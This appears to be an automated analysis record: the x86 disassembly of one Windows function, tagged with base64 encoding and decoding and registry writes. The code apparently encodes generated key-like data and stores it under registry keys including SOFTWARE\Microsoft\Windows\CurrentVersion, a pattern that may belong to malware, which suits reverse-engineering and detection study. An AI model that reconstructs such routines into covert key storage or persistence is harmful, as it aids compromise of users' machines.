Function at 0x406710
Capabilities:
Decode data using base64 via winapi
Encode data using base64 via winapi
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xd8
mov eax, dword [0x47c018]
xor eax, esp
mov dword [esp + 0xd4], eax
mov eax, dword [0x480758]
mov dword [esp + 0x14], 0
push esi
push edi
test eax, eax
jne 0x40675f
mov dword [0x480758], 0x47cfbc
call fcn.0042aa00
mov eax, dword [0x480758]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x40675f
call ecx
mov eax, dword [0x480758]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x30]
push 0x18
push ecx
call eax
mov eax, dword [0x480758]
add esp, 8
test eax, eax
jne 0x406799
mov dword [0x480758], 0x47cfbc
call fcn.0042aa00
mov eax, dword [0x480758]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x406799
call ecx
mov eax, dword [0x480758]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x5c]
push 0x20
push ecx
call eax
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0xa8]
push eax
call dword [0x47cf88]
mov eax, dword [0x480758]
add esp, 0x10
test eax, eax
jne 0x4067e6
mov dword [0x480758], 0x47cfbc
call fcn.0042aa00
mov eax, dword [0x480758]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x4067e6
call ecx
mov eax, dword [0x480758]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x7c]
push 0x20
push ecx
call eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 8
push 0x20
push 8
call esi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x30]
push ecx
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0xc4]
call fcn.00419090
lea eax, [esp + 0xc4]
push eax
push 0
push 0
lea eax, [esp + 0x54]
push eax
push 0
push 0x20
lea eax, [esp + 0x7c]
push eax
mov eax, dword [0x47d280]
push dword [esp + 0x38]
mov eax, dword [eax + 8]
call eax
add esp, 0x28
lea eax, [esp + 0x5c]
mov ecx, 0x20
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406860
push 0x50
push 8
call esi
push eax
call edi
cmp dword [0x47d1dc], 0x10
mov esi, 0x47d1c8
push 0
cmovae esi, dword [0x47d1c8]
push 0
mov dword [esp + 0x20], eax
lea eax, [esp + 0x30]
push eax
push 0
push 1
push esi
mov dword [esp + 0x40], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x406cb1
cmp dword [esp + 0x28], 0x20
jne 0x406cb1
push 0
push 0
lea eax, [esp + 0x30]
push eax
push 0x4806b8
push 1
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x406cb1
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x7c]
sub esp, 0xc
mov ecx, esi
call fcn.004166b0
add esp, 0xc
test eax, eax
jne 0x406cb1
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x88
push 8
call eax
push eax
call edi
mov edi, eax
lea ecx, [esp + 0x7c]
mov dword [esp + 0x10], edi
mov edx, 0x20
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x406926
mov eax, dword [esp + 0x14]
movups xmm0, xmmword [eax]
movups xmmword [edi], xmm0
movups xmm0, xmmword [eax + 0x10]
lea eax, [esp + 0x1c]
push eax
movups xmmword [edi + 0x10], xmm0
push edx
movups xmm0, xmmword [esi]
push 0x40000001
push 0x88
movups xmmword [edi + 0x20], xmm0
push edi
movups xmm0, xmmword [esi + 0x10]
movups xmmword [edi + 0x30], xmm0
movups xmm0, xmmword [esi + 0x20]
movups xmmword [edi + 0x40], xmm0
movups xmm0, xmmword [esi + 0x30]
movups xmmword [edi + 0x50], xmm0
movups xmm0, xmmword [esi + 0x40]
mov esi, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
movups xmmword [edi + 0x60], xmm0
movups xmm0, xmmword [esp + 0x44]
movups xmmword [edi + 0x70], xmm0
movq xmm0, qword [esp + 0x54]
movq qword [edi + 0x80], xmm0
call esi
test eax, eax
je 0x406cb1
lea eax, [esp + 0x1c]
push eax
push dword [0x4802b4]
push 0x40000001
push 0x88
push edi
call esi
test eax, eax
je 0x406cb1
lea eax, [esp + 0x1c]
push eax
push 0
push 0x40000001
push 0x20
lea eax, [esp + 0xac]
push eax
call esi
test eax, eax
je 0x406cb1
push 4
push 0x3000
push dword [esp + 0x24]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [esp + 0x1c]
push eax
push edi
push 0x40000001
push 0x20
lea eax, [esp + 0xac]
mov dword [esp + 0x38], edi
push eax
call esi
test eax, eax
je 0x406cb1
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 0x24]
push eax
push 0xf003f
push 0
push 0x455b90
push bind
call esi
push dword [esp + 0x1c]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push 0
push 0x455be4
push dword [esp + 0x38]
call edi
lea eax, [esp + 0x20]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push bind
call esi
mov edx, dword [0x4802b4]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406a75
sub ecx, esi
push ecx
push edx
push 1
push 0
push 0x455c44
push dword [esp + 0x34]
call edi
mov esi, dword [0x4802b4]
mov edi, esi
lea ecx, [edi + 1]
nop word [eax + eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x406aa0
mov edx, dword [0x47d018]
sub edi, ecx
mov ecx, dword [0x47d014]
mov eax, edx
sub eax, ecx
push edi
cmp edi, eax
ja 0x406aec
push dword [0x4802b4]
cmp edx, 0x10
lea eax, [ecx + edi]
mov esi, 0x47d004
mov dword [0x47d014], eax
cmovae esi, dword [0x47d004]
add esi, ecx
push esi
call fcn.00430b60
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x406afc
push esi
push dword [esp + 0x18]
mov ecx, 0x47d004
push edi
call fcn.00411110
mov edx, dword [0x47d018]
mov eax, edx
mov ecx, dword [0x47d014]
sub eax, ecx
cmp eax, 1
jb 0x406b30
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [0x47d014], eax
mov eax, 0x47d004
cmovae eax, dword [0x47d004]
mov word [eax + ecx], 0x3b
jmp 0x406b47
push 1
push 0x455c50
push dword [esp + 0x18]
mov ecx, 0x47d004
push 1
call fcn.00411110
mov ecx, dword [esp + 0x28]
mov edi, ecx
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x406b50
mov esi, dword [0x47d018]
sub edi, edx
mov edx, dword [0x47d014]
mov eax, esi
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x406b98
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [0x47d014], eax
mov eax, 0x47d004
cmovae eax, dword [0x47d004]
lea esi, [eax + edx]
push esi
call fcn.00430b60
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x406ba7
push dword [esp + 0x18]
mov ecx, 0x47d004
push edi
call fcn.00411110
mov edx, dword [0x47d018]
mov eax, edx
mov ecx, dword [0x47d014]
sub eax, ecx
cmp eax, 1
jb 0x406bdb
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [0x47d014], eax
mov eax, 0x47d004
cmovae eax, dword [0x47d004]
mov word [eax + ecx], 0x3b
jmp 0x406bf2
push 1
push 0x455c54
push dword [esp + 0x18]
mov ecx, 0x47d004
push 1
call fcn.00411110
push dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [esp + 0x24]
call esi
test eax, eax
jne 0x406cb1
mov esi, dword [esp + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push eax
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
push 0
push 1
push esi
call edi
push eax
push esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x406cb1
cmp dword [esp + 0x2c], 0x20
jne 0x406cb1
push 0
push 0
lea eax, [esp + 0x34]
push eax
push 0x4806b8
push 1
push esi
call edi
push eax
push esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x406cb1
push dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call edi
push dword [esp + 0x14]
push 0
call esi
push eax
call edi
mov eax, dword [esp + 0x18]
push eax
push 0
call esi
push eax
call edi
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [0x4802b4]
call eax
push esi
push 0
push eax
call edi
mov al, 1
pop edi
pop esi
mov ecx, dword [esp + 0xd4]
xor ecx, esp
call fcn.0042f23c
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0xdc]
xor al, al
pop edi
pop esi
xor ecx, esp
call fcn.0042f23c
mov esp, ebp
pop ebp
ret